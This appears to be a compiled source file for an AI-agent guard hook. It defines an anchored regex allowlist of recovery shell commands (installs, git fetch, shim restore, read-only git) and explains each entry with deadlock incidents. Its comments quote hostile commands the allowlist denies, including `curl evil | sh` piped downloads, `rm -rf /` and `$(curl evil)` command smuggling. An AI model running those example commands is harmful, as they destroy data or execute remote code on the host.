- // - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)
101
- //
102
- // An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a
103
- // `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:
104
- // git copies no node_modules into a new worktree, so the very first call there needs an install in THAT
105
- // tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only
106
- // spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was
107
- // needed. It widens nothing: the prefix cannot change what the install does, and the path token admits
108
- // no operator (see CD_PREFIX_ERE).
109
- //
110
- // Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only
111
- // accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride
112
- // along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.
113
- // Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).
114
- const INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';
115
- exports.INSTALLER_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + exports.CAPTURE_TAIL_ERE;
116
- // JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). The fail-closed shim (pure sh)
117
- // uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer
118
- // commands also pass when the bin IS installed but the config is invalid/ahead of the validator —
119
- // same deadlock, other side. A unit test asserts the two agree on a sample set.
120
- const INSTALLER_BODY_JS = '(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';
121
- exports.INSTALLER_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
122
- // The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.
123
- //
124
- // Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a
125
- // package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the
126
- // right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully
127
- // reports "up to date" and the corruption survives every retry. The only reliable cure is to delete
128
- // node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed
129
- // escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).
130
- //
131
- // Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a
132
- // single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.
133
- // So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.
134
- // Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).
135
- const RECOVERY_BODY_ERE = 'rm[[:space:]]+-rf[[:space:]]+(\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';
136
- exports.RECOVERY_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + exports.CAPTURE_TAIL_ERE;
137
- // JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
138
- const RECOVERY_BODY_JS = 'rm\\s+-rf\\s+(\\.\\/)?node_modules\\/?(\\s*&&\\s*(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';
139
- exports.RECOVERY_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
140
- // The exact command we tell the human/assistant to run to recover a corrupt node_modules.
141
- exports.RECOVERY_CMD = 'rm -rf node_modules && pnpm install';
142
- // `git fetch`. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so it is allowed under EVERY
143
- // L0 fault, not just drift. It used to be gated on drift alone, on the reasoning that no amount of
144
- // git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also
145
- // cannot hurt, and the gating had a real cost — under a stale committed shim, a git sync is the ONLY
146
- // cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.
147
- //
148
- // `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift
149
- // message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —
150
- // because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.
151
- // Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that
152
- // hole would widen from one fault to every fault, so the entry goes rather than the gating.
153
- //
154
- // The deadlock this entry exists for, hit 2026-07-17:
155
- //
156
- // The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER
157
- // @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a
158
- // plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)
159
- // that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.
160
- //
161
- // In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES
162
- // node_modules to the stale pin. The real cure is a git sync — which the guard denied, because the
163
- // allowlist only ever contained the installer. So the assistant was told to run the one command that
164
- // made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.
165
- //
166
- // `pull` WAS THEN REMOVED FROM THIS ENTRY (2026-08-10, audit finding C6) — which is why it is now named
167
- // for the fetch subcommand alone. The entry was `(pull|fetch)` and marked TERMINAL ('allow'), so it
168
- // short-circuited every downstream guard. redirect-how-to-merge-main exists to block exactly one thing:
169
- // `git pull origin main` on a FEATURE branch, because a raw pull there merges main INTO the branch and
170
- // destroys the fork point that the 3-point merge, `nx affected --base=` and the PR review diff are all
171
- // computed from. Under an L0 fault the drift message TOLD the agent to run `git pull origin main` and
172
- // this entry PERMITTED it, on whatever branch it happened to be standing on. The damage is silent: it
173
- // surfaces later as a build gate that rebuilt the wrong scope and a PR diff describing work nobody did.
174
- //
175
- // The fetch subcommand cannot merge anything, so it can never poison a fork point, and it stays terminal
176
- // here. `git pull` now falls THROUGH to redirect-how-to-merge-main, which allows it on main and blocks
177
- // it on a feature branch — the correct matrix, and the one that guard was written to enforce. A BARE
178
- // `git pull` (syncing a shared feature branch with origin/<same-branch>) is not blocked by that guard
179
- // either; it simply is no longer waved past every OTHER guard on the way. The on-main cure keeps a
180
- // terminal spelling of its own — CHECKOUT_MAIN_PULL_BODY_ERE below.
181
- //
182
- // Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a
183
- // bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.
184
- // A trailing `; curl evil | sh` still FAILS CLOSED. Deliberately NOT a general `git checkout`: switching
185
- // branches is what CAUSES this drift, and a fail-closed escape hatch should only contain cures.
186
- // Keep in sync with FETCH_ALLOW_JS below (locked by a unit test).
187
- // webpieces-disable no-fetch -- a POSIX ERE matching the git subcommand of that name, not an HTTP call
188
- const FETCH_BODY_ERE = 'git[[:space:]]+fetch([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';
189
- exports.FETCH_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + FETCH_BODY_ERE + exports.CAPTURE_TAIL_ERE;
190
- // JS-regex twin of FETCH_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
191
- // webpieces-disable no-fetch -- the JS twin of the ERE above; still the git subcommand, not an HTTP call
192
- const FETCH_BODY_JS = 'git\\s+fetch(\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';
193
- exports.FETCH_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + FETCH_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
194
- // THE ONE PULL SPELLING THAT IS ALWAYS FORK-POINT-SAFE — the other half of the C6 fix above.
195
- //
196
- // `git checkout main && git pull origin main` ends on MAIN. The feature branch is not checked out, not
197
- // merged into, not touched at all: there is no fork point to destroy, on any branch, ever. That is what
198
- // earns it a terminal entry on a list where a bare `git pull origin main` no longer has one. When the
199
- // agent is ALREADY on main the checkout is a harmless no-op, so this one literal covers the on-main case
200
- // too and needs no second entry.
201
- //
202
- // ─── WHY L0 KEEPS THE RAW GIT WHILE THE WORKFLOW LAYER MOVED TO `pnpm wp-sync-main` ─────────
203
- // `wp-sync-main` is this exact pairing with `wp-cleanup` and the orphan-directory sweep welded
204
- // on, and the WORKFLOW guards (stale-main-bash-guard's preferred cure, merged-branch-message,
205
- // TreeRecovery, the L2 rows) now prescribe it instead of these two git commands — one intention, one
206
- // spelling, and the sweep actually runs.
207
- //
208
- // THIS ENTRY DELIBERATELY DOES NOT FOLLOW THEM, and that is not the two-spellings shim it looks like.
209
- // The fault L0 is curing is `node_modules` disagreeing with the pin — which means `node_modules` is
210
- // PRECISELY the thing that cannot be trusted. A `pnpm wp-*` bin resolves through it, so the one class of
211
- // cure that may not appear on an L0 allowlist is a cure that has to load the package it is repairing.
212
- // Raw git needs nothing but git. Replacing this literal with the `pnpm` spelling would delete the only
213
- // working escape from a deadlock, in the one state where every other tool call is already denied.
214
- //
215
- // The two layers are therefore not two spellings of one thing; they are two different things that
216
- // happen to share a prefix. Read the L0 one as "get main, with no working package manager".
217
- //
218
- // A NARROW LITERAL, deliberately. The rationale above — `git checkout` is what CAUSES this drift, and a
219
- // fail-closed hatch should only contain cures — is intact: `main` is hard-coded, no flags are accepted,
220
- // and there is NO general `git checkout <branch> &&` prefix. `git checkout feat && git pull origin main`,
221
- // the exact command redirect-how-to-merge-main blocks, stays REFUSED here; so do `git checkout main`
222
- // alone (it cures nothing) and anything chained onto either end.
223
- // Keep in sync with CHECKOUT_MAIN_PULL_BODY_JS below (locked by a unit test).
224
- const CHECKOUT_MAIN_PULL_BODY_ERE = 'git[[:space:]]+checkout[[:space:]]+main[[:space:]]*&&[[:space:]]*git[[:space:]]+pull[[:space:]]+origin[[:space:]]+main';
225
- // JS-regex twin of CHECKOUT_MAIN_PULL_BODY_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
226
- const CHECKOUT_MAIN_PULL_BODY_JS = 'git\\s+checkout\\s+main\\s*&&\\s*git\\s+pull\\s+origin\\s+main';
227
- exports.CHECKOUT_MAIN_PULL_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + CHECKOUT_MAIN_PULL_BODY_ERE + exports.CAPTURE_TAIL_ERE;
228
- exports.CHECKOUT_MAIN_PULL_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + CHECKOUT_MAIN_PULL_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
229
- /**
230
- * The exact bytes every L0 message prescribing the on-main sync must print.
231
- *
232
- * L0 ONLY. The workflow guards prescribe `pnpm wp-sync-main`; this constant is for the faults
233
- * where `node_modules` is the thing under suspicion and no `pnpm` bin can be relied on to run. See the
234
- * block comment above CHECKOUT_MAIN_PULL_BODY_ERE for the full argument, and do not "unify" the two.
235
- */
236
- exports.CHECKOUT_MAIN_PULL_CMD = 'git checkout main && git pull origin main';
237
- // The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale
238
- // below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —
239
- // like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the
240
- // guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under
241
- // pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.
242
- // Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).
243
- const UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';
244
- exports.UPGRADE_SHIM_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + exports.CAPTURE_TAIL_ERE;
245
- // JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
246
- const UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-upgrade-shim';
247
- exports.UPGRADE_SHIM_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
248
- // The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.
249
- exports.UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';
250
- // The CURE for a webpieces.config.json carrying keys no validator has a schema for: delete them.
251
- //
252
- // IT HAS TO BE ON THIS LIST OR IT IS NOT A CURE AT ALL. An invalid config denies every Bash call, which
253
- // is precisely the state the unknown-rule error and the validation banner are read in — so a cure those
254
- // messages name, but the guard rejects, is worse than naming nothing: it sends the reader in a circle.
255
- // That is the same reasoning that put the installer and wp-upgrade-shim here, and it is why the entry
256
- // ships in the SAME change as the messages that prescribe it.
257
- //
258
- // Safe as a cure by construction: the pruner only ever DELETES keys the running validator has no schema
259
- // for, refuses renames and in-file moves, and does nothing at all when a rulesDir is configured. Accepts
260
- // the realistic pnpm/npm/npx spellings, anchored at both ends with only a bare bin name so no shell
261
- // operator can ride along. Keep in sync with PRUNE_CONFIG_BODY_JS (locked by the twin unit test).
262
- const PRUNE_CONFIG_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-prune-unknown-config';
263
- // JS-regex twin of PRUNE_CONFIG_BODY_ERE (POSIX `[[:space:]]` → `\s`).
264
- const PRUNE_CONFIG_BODY_JS = '(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-prune-unknown-config';
265
- // The entry below spells the command as PRUNE_UNKNOWN_COMMAND, IMPORTED rather than re-typed: that
266
- // constant is the single spelling, and a second literal here is exactly the drift that would let a
267
- // message prescribe a command this allowlist does not match.
268
- // The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):
269
- // the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in
270
- // @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the
271
- // repos that can hit this, since node_modules is what the shim compares itself against — got
272
- // "command not found" and was left with a hard block and no working cure. In the reporter's words, the
273
- // message gave "ZERO information" on how to actually fix it.
274
- //
275
- // A plain `cp` of the installed template over the committed shim has none of that version coupling:
276
- // templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit
277
- // test), which is exactly what the binary's committedShimStale() compares the committed shim against;
278
- // cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.
279
- // It cures the block on any version, old or new —
280
- // which is why the deny now leads with it and only mentions the bin as the newer equivalent.
281
- //
282
- // Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are
283
- // literal webpieces-owned paths — so no other file can be read or written and no operator can ride
284
- // along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).
285
- const RESTORE_SHIM_BODY_ERE = 'cp[[:space:]]+(\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\.sh[[:space:]]+(\\./)?\\.claude/webpieces/ai-hook\\.sh';
286
- exports.RESTORE_SHIM_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + exports.CAPTURE_TAIL_ERE;
287
- // JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
288
- const RESTORE_SHIM_BODY_JS = 'cp\\s+(\\.\\/)?node_modules\\/@webpieces\\/ai-hook-rules\\/templates\\/ai-hook\\.sh\\s+(\\.\\/)?\\.claude\\/webpieces\\/ai-hook\\.sh';
289
- exports.RESTORE_SHIM_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
290
- // The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.
291
- exports.RESTORE_SHIM_CMD = 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';
292
- // The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.
293
- //
294
- // `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the
295
- // shim's own header line names it as the managing command), and install-entry.ts calls healShim()
296
- // FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it
297
- // re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and
298
- // it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.
299
- // That combination — always present AND a named bin rather than a raw file overwrite — is why the deny
300
- // now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier
301
- // treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.
302
- //
303
- // FLAGS ARE ACCEPTED. The installer's non-interactive spelling is `--target=project`, and a pattern that
304
- // accepted no flags at all made it untypable — the same deadlock shape as the missing `2>&1 | tail` and
305
- // the missing `cd` prefix: a deny naming a command the allowlist rejects. The flag token is the identical
306
- // one INSTALLER_BODY_ERE already allows — `--word` / `--word=value`, no whitespace, no operator — so it
307
- // widens nothing else: `pnpm wp-install-ai-hooks --target=project && rm -rf /` still FAILS CLOSED.
308
- //
309
- // Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens
310
- // only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).
311
- const INSTALL_HOOKS_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';
312
- exports.INSTALL_HOOKS_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + exports.CAPTURE_TAIL_ERE;
313
- // JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
314
- const INSTALL_HOOKS_BODY_JS = '(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-install-ai-hooks(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';
315
- exports.INSTALL_HOOKS_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
316
- // THE MISSING-DEPENDENCY cure — the 2026-08-05 "pnpm install converges to the same broken state" deadlock.
317
- //
318
- // @webpieces/ai-hook-rules reaches a consumer repo through its BINS (wp-ai-guards-hook, named in
319
- // .claude/settings.json), never through an import. For many releases it ALSO arrived as a transitive
320
- // dependency of @webpieces/nx-webpieces-rules, and a repo on a hoisting node-linker got its bins in
321
- // node_modules/.bin for free — so no consumer ever declared it. When that dependency edge was pruned as
322
- // unused (correctly: nothing imports it), the package left the tree on the very next install and every
323
- // wp-ai-* bin went with it.
324
- //
325
- // The shim then blocked every call and prescribed `pnpm install`, which is a NO-OP here: nothing in
326
- // package.json asks for the package, so the install reports "Lockfile is up to date" and changes
327
- // nothing. The reporter ran it four times, was denied every other command, and handed the block back to
328
- // the human. The ONLY cure is to declare the dependency — so the command that declares it has to be on
329
- // this list, or fault U is a guaranteed deadlock rather than a fixable one.
330
- //
331
- // Kept as tight as every other hatch: the subcommand is `add` and nothing else (never `remove`, never
332
- // `update`), the package is the LITERAL @webpieces/ai-hook-rules with an optional `@<version>`, and the
333
- // only other tokens accepted are a short `-D`-shaped flag or the same `--word[=value]` token
334
- // INSTALLER_BODY_ERE already allows. So no OTHER package can be installed through this entry and no
335
- // shell operator can ride along: `pnpm add -D @webpieces/ai-hook-rules && rm -rf /` still FAILS CLOSED.
336
- // Keep in sync with ADD_HOOK_PKG_ALLOW_JS below (locked by a unit test).
337
- const ADD_FLAG_ERE = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._/@:-]*)';
338
- const ADD_HOOK_PKG_BODY_ERE = '(pnpm|npm)[[:space:]]+add([[:space:]]+' + ADD_FLAG_ERE + ')*[[:space:]]+@webpieces/ai-hook-rules'
339
- + '(@[A-Za-z0-9._+-]+)?([[:space:]]+' + ADD_FLAG_ERE + ')*';
340
- exports.ADD_HOOK_PKG_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + ADD_HOOK_PKG_BODY_ERE + exports.CAPTURE_TAIL_ERE;
341
- // JS-regex twin of ADD_HOOK_PKG_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
342
- const ADD_FLAG_JS = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._\\/@:-]*)';
343
- const ADD_HOOK_PKG_BODY_JS = '(pnpm|npm)\\s+add(\\s+' + ADD_FLAG_JS + ')*\\s+@webpieces\\/ai-hook-rules'
344
- + '(@[A-Za-z0-9._+-]+)?(\\s+' + ADD_FLAG_JS + ')*';
345
- exports.ADD_HOOK_PKG_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + ADD_HOOK_PKG_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
346
- /** The package every wp-ai-* bin ships in — the one name fault U is about. */
347
- exports.HOOK_PKG = '@webpieces/ai-hook-rules';
348
- /** The version-less spelling of the fault-U cure; the deny appends `@<pin>` when it can infer one. */
349
- exports.ADD_HOOK_PKG_CMD = `pnpm add -D ${exports.HOOK_PKG}`;
350
- // READ-ONLY ORIENTATION — the 2026-08-03 "where am I standing?" deadlock.
351
- //
352
- // Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing
353
- // an agent has to know before a cure can work. The incident: an agent worked in a linked worktree while
354
- // the drift fault (D) was measured against the PRIMARY clone ($CLAUDE_PROJECT_DIR). Its `pnpm install`
355
- // ran in the worktree, succeeded, and changed nothing in the tree being measured, so the block never
356
- // lifted. It could not run `pwd` — read-only bash was not on this list at all — so it could not see the
357
- // discrepancy, invented a false theory ("the harness is stripping my `cd` prefix"), burned five
358
- // identical installs and handed the problem back to the human. One allowed `pwd` ends that on attempt
359
- // one.
360
- //
361
- // So this entry is not a cure, it is the DIAGNOSIS the cures depend on: where am I (`pwd`,
362
- // `git rev-parse --show-toplevel`), which tree is this (`git worktree list`), which branch and what
363
- // state (`git status`, `git branch`, `git log`, `git diff`, `git show`). All local, all read-only, none
364
- // of them touching the network or the working tree. The sibling guard merged-branch-bash-guard already
365
- // permits `git status|log|diff|show|branch`, so this is the policy that already exists, applied one
366
- // layer out.
367
- //
368
- // THE `git worktree` TRAP. `git worktree add|remove|prune|move|repair` all MUTATE, and `git worktree`
369
- // is the ONLY multi-word subcommand here — which is exactly why it gets its own alternative pinned to
370
- // the LITERAL word `list` rather than joining the single-word set. A bare `git worktree` matches
371
- // nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are
372
- // explicit in shim-drift.spec.ts.
373
- //
374
- // Kept at exactly the tightness of FETCH_BODY_ERE — the same argument token, `--flag` or a bare word
375
- // from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |
376
- // sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the
377
- // subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other
378
- // status` stay denied, the same property the sync entry has.
379
- // Keep in sync with ORIENT_ALLOW_JS below (locked by a unit test).
380
- const ORIENT_BODY_ERE = '(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';
381
- exports.ORIENT_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + ORIENT_BODY_ERE + exports.CAPTURE_TAIL_ERE;
382
- // JS-regex twin of ORIENT_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
383
- const ORIENT_BODY_JS = '(pwd|git\\s+(status|log|diff|show|branch|rev-parse)|git\\s+worktree\\s+list)(\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._\\/@:-]*)*';
384
- exports.ORIENT_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + ORIENT_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
385
- // The command the incident turned on: the agent could not ask which tree it was standing in.
386
- exports.ORIENT_CMD = 'pwd';
387
- // The exact command the self-guard's deny names FIRST. Present in every release that has a shim.
388
- exports.INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';
389
- // The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`
390
- // flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token
391
- // INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.
392
- exports.INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';
393
- // ---------------------------------------------------------------------------
394
- // THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.
395
- //
396
- // L0 is the outermost layer: it blocks work while node_modules, the committed shim, or
397
- // webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its seven faults are
398
- // D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)
399
- // X bin missing (sh) C webpieces.config.json missing (bin)
400
- // K bin present, crashed (sh) Y a loaded rule has no config key (bin)
401
- // U bin missing AND the package is not declared (sh) — X's cure is a no-op here, hence its own fault
402
- //
403
- // Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to
404
- // fault present AND call not on the allowlist -> BLOCK(messageFor(fault))
405
- // and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary
406
- // too, but that variation was an accident of which code path a fault happened to be detected in, and it
407
- // cost four real defects:
408
- // - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure
409
- // wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.
410
- // - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.
411
- // - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.
412
- // - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.
413
- // All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.
414
- //
415
- // Composed from the BODY of each cure above so there is exactly one copy of every pattern: the
416
- // named exports stay the vocabulary (and keep their own tests), this union is the decision.
417
- //
418
- // L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the
419
- // published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an
420
- // allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.
421
- exports.L0_ALLOWLIST = [
422
- new l0_entry_1.L0AllowEntry('any Read', 'pass', false, null, null, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Read', '', 'README.md')),
423
- // TOOL-SHAPED, like the Read entry above and for the same reason: no regex can express "this tool
424
- // has nothing to judge". See L0_IGNORED_TOOLS for why the list is explicit and why `apply_patch`
425
- // (Codex's only WRITE) is deliberately not on it.
426
- new l0_entry_1.L0AllowEntry(`a Codex tool with nothing to judge: ${[...l0_ignored_tools_1.L0_IGNORED_TOOLS].join(', ')}`, 'pass', false, null, null, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('update_plan', '', ''), [new l0_entry_1.L0Call('view_image', '', ''), new l0_entry_1.L0Call('webrun', '', '')]),
427
- new l0_entry_1.L0AllowEntry(`a Write/Edit whose target is ${rules_config_1.CONFIG_FILENAME}`, 'pass', false, null, null, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Edit', '', `/repo/${rules_config_1.CONFIG_FILENAME}`)),
428
- // THE MANIFEST ESCAPE, and it is an escape L1 row 8 already PROMISED before it existed. Its report
429
- // says "STILL ALLOWED HERE: ... edits to pnpm-workspace.yaml / package.json / webpieces.config.json"
430
- // and its docblock calls that one of "two structurally independent escapes" — but only
431
- // CONFIG_FILENAME was ever carved out, so the promised cure was untypable from inside the block. The
432
- // pin lives in pnpm-workspace.yaml's catalog, so an agent whose ONLY correct move is "raise this
433
- // tree's pin to what the governing tree already installs" could not make it.
434
- //
435
- // TOOL-SHAPED on purpose (`ere`/`js` both null, like the two entries above): no regex can express
436
- // "an Edit whose target is this file", and a Bash-shaped entry would face the shadowing and
437
- // single-non-cure-entry invariants that only apply to commands.
438
- //
439
- // `pass`, never `allow`, and be precise about what that buys. It is L0 declining to be TERMINAL, so
440
- // the call falls through to whatever runs next — it is NOT a promise that L1/L2 then judge the edit.
441
- // The runner carves the same two files out on its own edit path (an early `return null`, beside the
442
- // webpieces.config.json pass). Scoped by isRootManifest, so it admits the root of the MAIN tree and
443
- // of every worktree — and no other package.json in the repo.
444
- new l0_entry_1.L0AllowEntry(`a Write/Edit whose target is a tree ROOT's ${exports.WORKSPACE_MANIFEST} or ${exports.PACKAGE_MANIFEST} - the version pin`, 'pass', false, null, null, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Edit', '', `/repo/${exports.WORKSPACE_MANIFEST}`), [new l0_entry_1.L0Call('Write', '', `/repo/${exports.PACKAGE_MANIFEST}`)]),
445
- new l0_entry_1.L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', 'pnpm install', '')),
446
